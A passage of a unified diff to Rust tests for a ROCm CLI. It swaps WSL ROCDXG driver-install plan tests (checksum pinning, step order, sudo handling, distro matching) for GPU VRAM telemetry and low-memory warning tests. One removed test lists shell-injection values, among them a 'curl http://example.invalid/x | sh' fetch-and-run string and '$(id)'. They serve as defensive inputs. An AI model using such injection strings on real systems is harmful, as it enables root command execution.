fs::write(intel.join("vendor"), "0x8086\n").unwrap(); + fs::write(intel.join("mem_info_vram_total"), "1000000\n").unwrap(); - #[test] - fn wsl_rocdxg_plan_installs_the_library_and_publishes_it() { - // Asserts on the default plan, so it has to take the same guard as the - // mutating tests in this binary: a concurrent test exporting - // `ROCM_CLI_ROCDXG_VERSION` would otherwise steer this one's plan. - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - let commands = plan.execution_commands().join("\n"); - - // Fetches the release artifact, installs it, and makes the linker see - // it. Any one of these missing leaves `wsl_rocdxg_ready` unreachable. - assert!(commands.contains("https://github.com/ROCm/librocdxg/releases/download/")); - assert!(commands.contains("rocdxg-roct_")); - assert!(commands.contains("sudo apt-get install -y '/tmp/rocdxg-roct_")); - assert!(commands.contains("sudo ldconfig")); - - // And in that order. `ldconfig` refreshes the cache from what is on - // disk now, so running it before `apt-get install` has unpacked - // `librocdxg.so` scans a directory that does not contain it yet and - // publishes nothing — leaving the plan reporting success while the - // `ldconfig -p` verification below is the only thing that would notice. - // Both steps are still present under that swap, so every `contains` - // assertion in this file stays green; only a position comparison - // catches it. - let steps = plan.execution_commands(); - let install = steps - .iter() - .position(|c| c.contains("apt-get install -y '/tmp/")) - .expect("plan installs the package"); - let publish = steps - .iter() - .position(|c| c.trim_end().ends_with("ldconfig")) - .expect("plan publishes the library"); - assert!( - install < publish, - "ldconfig must run after the package is installed:\n{}", - steps.join("\n") - ); + let rows = read_drm_vram_usage(&root); + let _ = fs::remove_dir_all(&root); - // Verification asserts the two things `examine` keys `wsl_rocdxg_ready` - // on, so a silently partial install cannot report success. - let verify = plan - .commands - .iter() - .filter(|c| c.phase == DriverCommandPhase::Verify) - .map(|c| c.command.clone()) - .collect::>() - .join("\n"); - assert!(verify.contains("/opt/rocm/lib/librocdxg.so")); - assert!(verify.contains("ldconfig -p")); + assert_eq!(rows.len(), 1, "only the one AMD card counts: {rows:?}"); + assert_eq!(rows[0].index, 0); + // 206_158_430_208 bytes / 1 MiB == 196_608 MiB. + assert_eq!(rows[0].total_mb, 196_608); + assert!(rows[0].free_fraction().unwrap() > AUTO_FREE_VRAM_FRACTION); } #[test] - fn wsl_rocdxg_plan_guards_the_gpu_plumbing_before_any_mutating_command() { - // /dev/dxg and dxcore come from the Windows side. If they are missing, - // installing the bridge library accomplishes nothing, so the plan must - // stop rather than report a successful install of something inert. - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - let prepare = plan - .commands - .iter() - .filter(|c| c.phase == DriverCommandPhase::Prepare) - .map(|c| c.command.clone()) - .collect::>(); - let joined = prepare.join("\n"); - assert!(joined.contains("/dev/dxg")); - assert!(joined.contains("/usr/lib/wsl/lib/libdxcore.so")); - // Named explicitly, rather than surfacing as `sudo: command not found` - // from whichever privileged step happened to run first. - assert!(joined.contains("command -v sudo")); - // Both guards run before anything is fetched or installed. - let first_mutation = plan - .execution_commands() - .iter() - .position(|c| c.contains("apt-get") || c.contains("curl")) - .expect("plan installs something"); - let last_guard = plan - .execution_commands() - .iter() - .rposition(|c| c.contains("is missing")) - .expect("plan guards the plumbing"); - assert!( - last_guard < first_mutation, - "plumbing guards must precede the first mutating command" - ); - } + fn read_drm_vram_usage_withholds_telemetry_when_multiple_amd_cards_are_present() { + // Ascending `card` order is not guaranteed to match HIP's compute + // ordinal once more than one AMD card exists (e.g. an APU alongside a + // dGPU), so the fallback must not hand out ordinals it cannot vouch for. + let root = std::env::temp_dir().join(format!("rocm-drm-vram-multi-{}", std::process::id())); + let _ = fs::remove_dir_all(&root); + let plant_amd = |card: &str, total: u64, used: u64| { + let device = root.join(card).join("device"); + fs::create_dir_all(&device).unwrap(); + fs::write(device.join("vendor"), "0x1002\n").unwrap(); + fs::write(device.join("mem_info_vram_total"), format!("{total}\n")).unwrap(); + fs::write(device.join("mem_info_vram_used"), format!("{used}\n")).unwrap(); + }; + plant_amd("card0", 206_158_430_208, 1_073_741_824); + plant_amd("card1", 206_158_430_208, 189_284_651_008); - /// Clear every input that steers the ROCDXG plan, so a value exported in - /// the developer's or runner's shell cannot decide the outcome of a test - /// that is asserting on the default. - /// - /// Builds on [`ScopedTestEnv::with_amd_overrides_cleared`] rather than - /// `new` because a WSL plan reached through `build_driver_install_plan` - /// resolves the bare-metal AMDGPU overrides before it dispatches to the WSL - /// branch: a caller needing one of these two guards needs both, and one - /// helper spares every test from picking the wrong half. - fn scoped_rocdxg_env() -> ScopedTestEnv { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.clear("ROCM_CLI_ROCDXG_VERSION"); - env.clear(ROCDXG_SHA256_ENV); - env.clear(ROCDXG_ALLOW_UNVERIFIED_ENV); - env - } - - #[test] - fn wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default() { - // The package is installed with `apt-get install`, which runs its - // maintainer scripts as root. With no digest, TLS to the release host - // is the only thing authenticating that download — weaker than the - // bare-metal path in this same file, which installs from a - // `signed-by=` pinned repository. So the default plan must verify. - let _env = scoped_rocdxg_env(); - let commands = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo).execution_commands(); - let joined = commands.join("\n"); - - let pinned = ROCDXG_PINNED_DIGESTS - .iter() - .find_map(|(version, digest)| (*version == "1.2.2").then_some(*digest)) - .expect("the default version is pinned"); - assert!(joined.contains(pinned), "{joined}"); - assert!(joined.contains("sha256sum -c -"), "{joined}"); + let rows = read_drm_vram_usage(&root); + let _ = fs::remove_dir_all(&root); - // Not a conditional: an unset variable must not be able to turn - // verification off, which is what the previous `if [ -n ... ]` form - // did. assert!( - !joined.contains("skipping checksum verification"), - "{joined}" + rows.is_empty(), + "multi-card sysfs telemetry must be withheld: {rows:?}" ); - assert!(!joined.contains(ROCDXG_SHA256_ENV), "{joined}"); - - // Ordering is the whole point — a digest checked after the install has - // already run is decoration. - let check = commands - .iter() - .position(|c| c.contains("sha256sum -c -")) - .expect("plan verifies the download"); - let install = commands - .iter() - .position(|c| c.contains("apt-get install -y '/tmp/")) - .expect("plan installs the package"); - assert!(check < install, "digest must be checked before install"); } #[test] - fn wsl_rocdxg_refuses_a_version_whose_digest_is_unknown() { - // An unpinned version is the case where silently falling back to "no - // verification" would be most dangerous, because it is reachable from - // a single environment variable. - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + fn read_drm_vram_usage_withholds_telemetry_when_a_second_amd_card_has_no_counter() { + // The guard must count AMD cards *found*, not surviving rows: a genuine + // two-AMD-card host where the second card's `used` counter is unreadable + // would otherwise slip past a `rows.len() > 1` check and mislabel the + // survivor ordinal 0 — the exact APU+dGPU misattribution the guard exists + // to prevent. + let root = + std::env::temp_dir().join(format!("rocm-drm-vram-partial-{}", std::process::id())); + let _ = fs::remove_dir_all(&root); + // card0: fully readable. + let card0 = root.join("card0").join("device"); + fs::create_dir_all(&card0).unwrap(); + fs::write(card0.join("vendor"), "0x1002\n").unwrap(); + fs::write(card0.join("mem_info_vram_total"), "206158430208\n").unwrap(); + fs::write(card0.join("mem_info_vram_used"), "1073741824\n").unwrap(); + // card1: AMD, but its `used` counter cannot be read. + let card1 = root.join("card1").join("device"); + fs::create_dir_all(&card1).unwrap(); + fs::write(card1.join("vendor"), "0x1002\n").unwrap(); + fs::write(card1.join("mem_info_vram_total"), "206158430208\n").unwrap(); + + let rows = read_drm_vram_usage(&root); + let _ = fs::remove_dir_all(&root); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(plan.commands.is_empty(), "a refusal must run nothing"); - assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); assert!( - plan.reason.contains(ROCDXG_ALLOW_UNVERIFIED_ENV), - "{}", - plan.reason + rows.is_empty(), + "a second AMD card must trip the guard even without readable counters: {rows:?}" ); } #[test] - fn wsl_rocdxg_accepts_a_supplied_digest_for_an_unpinned_version() { - // The escape hatch for a release newer than this build: supply the - // digest rather than disabling verification. - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - let supplied = "a".repeat(64); - env.set(ROCDXG_SHA256_ENV, &supplied); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(plan.supported); - let joined = plan.execution_commands().join("\n"); - assert!(joined.contains(&supplied), "{joined}"); - assert!(joined.contains("sha256sum -c -"), "{joined}"); - } + fn read_drm_vram_usage_skips_a_card_with_an_unreadable_used_counter() { + // A card whose `mem_info_vram_used` cannot be read must not be treated as + // 0 bytes used (100% free) — that would make a broken counter look like + // the ideal `--gpu auto` pick. It should be skipped entirely instead. + let root = + std::env::temp_dir().join(format!("rocm-drm-vram-unreadable-{}", std::process::id())); + let _ = fs::remove_dir_all(&root); + let device = root.join("card0").join("device"); + fs::create_dir_all(&device).unwrap(); + fs::write(device.join("vendor"), "0x1002\n").unwrap(); + fs::write(device.join("mem_info_vram_total"), "206158430208\n").unwrap(); + // No `mem_info_vram_used` file written at all. - #[test] - fn wsl_rocdxg_rejects_a_malformed_supplied_digest() { - // A truncated or mistyped digest must not silently fall back to the - // pinned one, which would verify a different artifact than the user - // asked for and report success. - let mut env = scoped_rocdxg_env(); - env.set(ROCDXG_SHA256_ENV, "not-a-digest"); + let rows = read_drm_vram_usage(&root); + let _ = fs::remove_dir_all(&root); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!plan.supported); - assert!(plan.commands.is_empty()); - assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); + assert!( + rows.is_empty(), + "a card with no readable used counter must be skipped: {rows:?}" + ); } #[test] - fn wsl_rocdxg_unverified_install_takes_an_explicit_opt_out() { - // Installing unverified stays possible — it just has to be asked for, - // and the plan the user approves has to say so. - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(plan.supported); - let joined = plan.execution_commands().join("\n"); - assert!(!joined.contains("sha256sum -c -"), "{joined}"); - assert!(joined.contains("without verifying it"), "{joined}"); + fn read_drm_vram_usage_is_empty_without_a_drm_tree() { + let missing = std::env::temp_dir().join("rocm-drm-vram-absent-98765"); + let _ = fs::remove_dir_all(&missing); + assert!(read_drm_vram_usage(&missing).is_empty()); } #[test] - fn wsl_rocdxg_opt_out_reads_negative_values_as_off() { - // The opt-out is a boolean, not a presence check. Reading "set to - // anything" as yes would turn digest verification off for a package - // installed as root on the strength of `=0` — the one value a reader - // writes when they mean the opposite. - for negative in ["0", "false", "no", "off", ""] { - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, negative); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!( - !plan.supported, - "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} disabled verification" - ); - assert!( - plan.commands.is_empty(), - "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} built an unverified install" - ); - } - - // The affirmative spellings still work, so this is a narrowing of what - // counts as yes rather than a removal of the escape hatch. - for affirmative in ["1", "true", "yes", "on"] { - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, affirmative); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!( - plan.supported, - "{ROCDXG_ALLOW_UNVERIFIED_ENV}={affirmative:?} was not honoured" - ); - } + fn gpu_low_memory_warning_flags_busy_selected_gpu() { + let usage = [vram(0, 182_000, 192_000), vram(1, 1_000, 192_000)]; + let warning = gpu_low_memory_warning(&[0], Some(&usage)).expect("warning for busy GPU 0"); + assert!(warning.contains("GPU 0")); + assert!(warning.contains("free")); + assert!(gpu_low_memory_warning(&[1], Some(&usage)).is_none()); + assert!(gpu_low_memory_warning(&[0], None).is_none()); } - #[test] - fn wsl_rocdxg_refuses_a_version_that_could_escape_the_shell() { - // `ROCM_CLI_ROCDXG_VERSION` is interpolated into commands executed via - // `sh -c` after `apt-get update` has primed the sudo credential cache, - // so a `;` in it would start a second, attacker-chosen command running - // as root. The plan must refuse rather than quote its way out. - for hostile in [ - "1.2.0; curl http://example.invalid/x | sh", - "1.2.0 && id", - "$(id)", - "1.2.0`id`", - "../../etc/passwd", - "1.2.0\nid", - "1.2.0 ", - ] { - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", hostile); - // An opt-out must not buy past the version check either. - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!plan.supported, "accepted hostile version {hostile:?}"); - assert!( - plan.commands.is_empty(), - "built commands from hostile version {hostile:?}" - ); - // The refused value is echoed back in the plan a human reads, so it - // must not be able to forge lines there. Every line the renderer - // emits after the header is indented, so an unindented one came - // from the value. - let rendered = render_driver_install_plan(&plan, false, false); - for line in rendered.lines().skip(1) { - assert!( - line.starts_with(" "), - "hostile version {hostile:?} forged plan line {line:?} in:\n{rendered}" - ); - } + fn host_gpu(gfx_target: &str) -> rocm_core::HostGpuSummary { + rocm_core::HostGpuSummary { + gfx_target: Some(gfx_target.to_owned()), + ..rocm_core::HostGpuSummary::default() } } #[test] - fn wsl_rocdxg_plan_drops_sudo_when_already_root() { - // Same reason the bare-metal plans take an escalation: containers and - // minimal cloud images run as uid 0 with no `sudo` binary, where an - // unconditional prefix kills every command before any driver work. - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::AlreadyRoot); - let joined = plan.execution_commands().join("\n"); - assert!(!joined.contains("sudo "), "{joined}"); - assert!(joined.contains("apt-get install -y '/tmp/"), "{joined}"); - // And it must not demand a binary it no longer uses. - assert!(!joined.contains("command -v sudo"), "{joined}"); + fn unified_memory_apu_suppresses_the_vram_capacity_warning() { + // Strix Halo as reported by amd-smi: a 4 GiB BIOS carveout with 1.6 GiB + // free (40%, under the 90% bar) on a machine whose engine actually + // serves out of ~128 GiB of shared system RAM. The old reading — + // "only 1.6 GiB of 4.0 GiB free" — describes a pool the allocator does + // not use, so it must not reach the user. + let carveout = [vram(0, 2_458, 4_096)]; assert!( - !plan - .preflight_checks - .iter() - .any(|check| check.contains("`sudo` command is available")), - "{:?}", - plan.preflight_checks + gpu_low_memory_warning(&[0], Some(&carveout)).is_some(), + "the underlying threshold still trips; only the serve-plan wrapper withholds it" ); - } - - /// Runs the digest step the plan actually generates, rather than asserting - /// that it contains some substrings. - /// - /// The step this exercises is the trust anchor for a root install, and the - /// executable self-test that used to cover it was deleted along with - /// `scripts/wsl_setup_rocdxg.sh`. Substring assertions would let a quoting, - /// field-order or newline regression in the `printf | sha256sum -c -` - /// fragment ship green, so the generated command is pinned whole with - /// `assert_eq!` and then executed — with only the two values it embeds - /// redirected at a test payload, so the quoting, spacing and field order - /// under test are production's rather than a replica's. - /// - /// Field order in particular is invisible to a `starts_with`/`ends_with` - /// pair: `sha256sum -c -` reads `DIGEST FILENAME`, so emitting the path - /// first breaks every real WSL install while still starting with - /// `printf '%s %s\n' '` and ending with `' | sha256sum -c -`. - #[cfg(unix)] - #[test] - fn wsl_rocdxg_generated_digest_step_accepts_only_the_matching_file() { - use std::process::Command; - - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - let version = plan.repo_version.clone(); - let pinned = ROCDXG_PINNED_DIGESTS - .iter() - .find_map(|(pinned_version, digest)| { - (*pinned_version == version.as_str()).then_some(*digest) - }) - .expect("the default version is pinned"); - let deb_path = format!("/tmp/rocdxg-roct_{version}_amd64.deb"); - let generated = plan - .execution_commands() - .into_iter() - .find(|c| c.contains("sha256sum -c -")) - .expect("plan verifies the download"); - - // Whole-string, not `contains`: the digest has to come first and the - // two fields have to be separated by exactly the two spaces - // `sha256sum -c -` expects. assert_eq!( - generated, - format!("printf '%s %s\\n' '{pinned}' '{deb_path}' | sha256sum -c -") - ); - - let (root, _paths) = test_paths("wsl-rocdxg-digest"); - fs::create_dir_all(&root).expect("test root"); - let payload = root.join(format!("rocdxg-roct_{version}_amd64.deb")); - fs::write(&payload, b"pretend this is a .deb\n").expect("write payload"); - - let digest_of = |path: &Path| -> String { - let out = Command::new("sha256sum") - .arg(path) - .output() - .expect("sha256sum runs"); - assert!(out.status.success()); - String::from_utf8(out.stdout) - .expect("utf8") - .split_whitespace() - .next() - .expect("digest field") - .to_owned() - }; - let good = digest_of(&payload); - - // The command under test is the generated one; the only edits are the - // digest being checked and the path being checked, so a regression in - // how the fragment is built reaches `sh` here instead of being masked - // by a replica built to the test's own idea of the right shape. - let step = |digest: &str| -> bool { - let command = generated - .replace(pinned, digest) - .replace(&deb_path, &payload.display().to_string()); - Command::new("sh") - .arg("-c") - .arg(&command) - .output() - .expect("sh runs") - .status - .success() - }; - - assert!(step(&good), "the matching digest must pass"); - assert!( - !step(&"0".repeat(64)), - "a mismatched digest must fail the step" + serve_gpu_low_memory_warning(&[0], Some(&carveout), Some(&host_gpu("gfx1151"))), + None ); - assert!(!step("deadbeef"), "a malformed digest must fail the step"); - assert!(!step(""), "an empty digest must fail the step"); - - let _ = fs::remove_dir_all(&root); } #[test] - fn wsl_rocdxg_install_does_not_ask_for_a_reboot() { - // ROCDXG is userspace: `ldconfig` publishes it in this boot. The - // bare-metal DKMS path is the one that needs a reboot. - let _env = scoped_rocdxg_env(); - let wsl = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!wsl.reboot_required); - let rendered = render_driver_install_plan(&wsl, false, false); - // Anchor on the install step first: a refusal plan also reports - // `reboot_required: false`, renders `post_install_checks:` from its - // non-empty `checks`, and contains no `post_reboot` — so the three - // assertions below hold against a plan that installs nothing at all. - // Only a real install plan carries this command. - assert!( - rendered.contains("apt-get install -y '/tmp/"), - "expected a real install plan, got:\n{rendered}" - ); - assert!(rendered.contains("post_install_checks:")); - assert!(!rendered.contains("post_reboot")); + fn discrete_gpu_still_warns_when_genuinely_busy() { + let busy = [vram(0, 182_000, 192_000)]; + let warning = serve_gpu_low_memory_warning(&[0], Some(&busy), Some(&host_gpu("gfx1100"))) + .expect("a discrete card that is 95% full still warrants a warning"); + assert!(warning.contains("GPU 0")); + assert!(warning.contains("`--gpu `")); - let bare_metal = build_driver_install_plan( - &test_examine("linux", false), - "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", - true, - PrivilegeEscalation::Sudo, + // Baseline: the same discrete card, mostly free, stays quiet. + let idle = [vram(0, 1_000, 192_000)]; + assert_eq!( + serve_gpu_low_memory_warning(&[0], Some(&idle), Some(&host_gpu("gfx1100"))), + None ); - assert!(bare_metal.reboot_required); - assert!(render_driver_install_plan(&bare_metal, false, false).contains("post_reboot")); } #[test] - fn wsl_rocdxg_version_is_overridable_and_reaches_every_reference() { - // One resolved value drives the archive name, the release tag and the - // download path, so an override cannot leave a URL pointing at the - // default. The value is resolved at plan-build time rather than left as - // a `${VAR:-default}` template, so the plan the user reviews names the - // build the install will actually fetch. - let mut env = scoped_rocdxg_env(); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert_eq!(plan.repo_version, "1.2.2"); - let commands = plan.execution_commands().join("\n"); - // The version is resolved here, not deferred to the shell: the plan the - // user approves has to name the build the install will actually fetch. - // No `${...}` expansion survives into the commands at all — the digest - // is resolved at plan-build time too, which - // `wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default` - // asserts by name. - assert!( - !commands.contains("ROCM_CLI_ROCDXG_VERSION"), - "version must be resolved at plan-build time, not left as a shell template:\n{commands}" - ); - let occurrences = commands.matches("1.2.2").count(); + fn apu_verdict_does_not_silence_a_second_gpu() { + // `gfx_is_apu_family` classifies a part, while host detection reports one + // target for the whole machine. On an APU+dGPU laptop that target cannot + // be attributed to the selected ordinal, so the warning must survive + // rather than be suppressed on the discrete card's behalf. + let hybrid = [vram(0, 2_458, 4_096), vram(1, 182_000, 192_000)]; assert!( - occurrences >= 3, - "version should drive the deb name, the tag and the path; saw {occurrences}" + serve_gpu_low_memory_warning(&[1], Some(&hybrid), Some(&host_gpu("gfx1151"))).is_some() ); + assert!(vram_capacity_is_meaningful(Some("gfx1151"), 2)); + // An unknown target is never treated as unified memory. + assert!(vram_capacity_is_meaningful(None, 1)); + } - // An override has to reach every one of those references, including the - // release URL — the bug this guards is a URL left on the default. The - // digest comes along because an unpinned version is refused outright; - // see `wsl_rocdxg_refuses_a_version_whose_digest_is_unknown`. - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_SHA256_ENV, &"b".repeat(64)); - let overridden = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert_eq!(overridden.repo_version, "9.9.9"); - let commands = overridden.execution_commands().join("\n"); - assert!( - commands.contains("rocdxg-roct_9.9.9_amd64.deb"), - "{commands}" - ); - assert!( - commands.contains( - "https://github.com/ROCm/librocdxg/releases/download/v9.9.9/rocdxg-roct_9.9.9_amd64.deb" + /// Every distro whose plan actually emits privileged commands, so the + /// escalation tests below sweep all of them rather than whichever one was + /// remembered. Adding a distro to the planner without adding it here would + /// leave its commands unswept. + pub(crate) fn dkms_planning_os_releases() -> Vec<(&'static str, &'static str)> { + vec![ + ( + "ubuntu", + "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", ), - "{commands}" - ); - assert!( - !commands.contains("1.2.2"), - "override left a reference on the default version:\n{commands}" - ); + ("debian", "ID=debian\nVERSION_ID=\"12\"\n"), + ("rhel", "ID=rhel\nVERSION_ID=\"9.7\"\n"), + ("rhel-8", "ID=rhel\nVERSION_ID=\"8.10\"\n"), + ("oracle", "ID=ol\nVERSION_ID=\"9.7\"\n"), + ("rocky", "ID=rocky\nVERSION_ID=\"9.4\"\n"), + ("sles", "ID=sles\nVERSION_ID=\"15.7\"\n"), + ( + "almalinux-via-id-like", + "ID=almalinux\nVERSION_ID=\"9.4\"\nID_LIKE=\"rhel centos fedora\"\n", + ), + ] } - // EAI-7406: distro selection must honor `/etc/os-release` `ID_LIKE`, so that - // Debian/Ubuntu-family and RHEL-rebuild derivatives that share their base - // version scheme are matched to the correct apt (`ubuntu/`) or EL - // (`el/`) plan instead of falling through to the unsupported plan. - + /// The `ROCM_E2E_FORCE_LOW_VRAM` hook must synthesize a reading that actually + /// trips the serve-plan low-VRAM warning on a non-APU (vLLM-lane) host, and + /// stay inert when the var is unset. This is what the `@requires-gpu` + /// `serve-vllm-low-vram-oom-guidance` scenario relies on to fire the note + /// deterministically on cards that are really free. + #[cfg(feature = "e2e-test-hooks")] #[test] - fn driver_plan_ubuntu_derivative_via_id_like_matches_ubuntu_plan() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Pop!_OS reports its own ID but reuses Ubuntu's version + repositories. - let os_release = r#" -ID=pop -VERSION_ID="22.04" -VERSION_CODENAME=jammy -ID_LIKE="ubuntu debian" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - // Ubuntu-family derivatives ship the Ubuntu kernel, so linux-modules-extra applies. - assert!(rendered.contains("linux-modules-extra-$(uname -r)")); - assert!(rendered.contains("https://repo.radeon.com/graphics/7.2.4/ubuntu jammy main")); - assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); - } - - #[test] - fn driver_plan_debian_derivative_via_id_like_matches_debian_plan() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // A Debian derivative (e.g. LMDE) that shares Debian's version scheme. - let os_release = r#" -ID=lmde -VERSION_ID="12" -ID_LIKE=debian -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - // Debian-family maps to the Ubuntu jammy repo and omits linux-modules-extra. - assert!(rendered.contains("https://repo.radeon.com/graphics/7.2.4/ubuntu jammy main")); - assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); - assert!(rendered.contains("amdgpu-dkms")); - } + fn forced_low_vram_hook_trips_the_serve_plan_warning() { + let mut env = ScopedTestEnv::new(); - #[test] - fn driver_plan_almalinux_via_id_like_uses_el_9_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // AlmaLinux is a RHEL rebuild: standard kernel, served from the el/ path. - let os_release = r#" -ID=almalinux -VERSION_ID="9.6" -ID_LIKE="rhel centos fedora" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - // EL rebuilds use the vendor-neutral el/ repo path, not rhel/. - assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/el/9.6/")); - assert!(!rendered.contains("/rhel/9.6/")); - assert!(rendered.contains("amdgpu-install-7.2.4.70204-1.el9.noarch.rpm")); - // el9 uses the version-aware standard-kernel prepare commands. - assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); - } - - #[test] - fn driver_plan_almalinux_8_via_id_like_uses_el_major_path() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=almalinux -VERSION_ID="8.10" -ID_LIKE="rhel centos fedora" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - // EL 8 is served from the major-version path (el/8), matching AMD docs. - assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/el/8/")); - assert!(rendered.contains("-1.el8.noarch.rpm")); - // el8 has no kernel-devel-matched package. - assert!(!rendered.contains("kernel-devel-matched")); - assert!(rendered.contains("kernel-devel-$(uname -r)")); - } - - #[test] - fn driver_plan_id_like_with_unsupported_version_stays_unsupported() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // A Debian-family derivative whose VERSION_ID does not align with any - // AMD-documented Debian version must not fabricate a plan. - let os_release = r#" -ID=lmde -VERSION_ID="6" -ID_LIKE=debian -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, + // Unset: the hook contributes nothing and real telemetry is consulted. + env.clear("ROCM_E2E_FORCE_LOW_VRAM"); + assert!( + simulated_low_vram_usage().is_none(), + "no override without the env var" ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(!rendered.contains("amdgpu-dkms")); - } - #[test] - fn driver_plan_exact_id_takes_precedence_over_id_like() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // An exact RHEL match must keep the rhel/ path even though ID_LIKE=fedora. - let os_release = r#" -ID=rhel -VERSION_ID="9.7" -ID_LIKE=fedora -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, + // Set to ordinal 0: a single near-full device that the serve-plan wrapper + // reports on a discrete (non-APU) host but that stays honest there. + env.set("ROCM_E2E_FORCE_LOW_VRAM", "0"); + let forced = simulated_low_vram_usage().expect("override present when the var is set"); + assert_eq!( + forced.len(), + 1, + "single synthetic GPU keeps the APU guard honest" ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/rhel/9.7/")); - assert!(!rendered.contains("/el/9.7/")); - } - - #[test] - fn driver_plan_oracle_linux_off_arm_version_stays_unsupported() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Oracle Linux reports `ID_LIKE=fedora` (not rhel) and boots UEK. An OL - // version outside the exact `ol` arm must NOT be captured by the EL - // fallback, which would emit non-UEK kernel commands that cannot install. - let os_release = r#" -ID=ol -VERSION_ID="9.6" -ID_LIKE=fedora -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(!rendered.contains("kernel-devel-matched")); - assert!(!rendered.contains("amdgpu-dkms")); - } - - #[test] - fn driver_plan_opensuse_leap_stays_unsupported() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // openSUSE Leap shares SLES's version scheme but has no SUSEConnect/SCC - // entitlement, so it must not be matched to the SLES plan. - let os_release = r#" -ID=opensuse-leap -VERSION_ID="15.7" -ID_LIKE="suse opensuse" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, + assert_eq!(forced[0].index, 0); + assert!( + forced[0] + .free_fraction() + .is_some_and(|f| f < AUTO_FREE_VRAM_FRACTION), + "the synthetic reading must be below the free-VRAM bar so the warning fires" ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(!plan.supported); - assert!(!plan.mutating); - 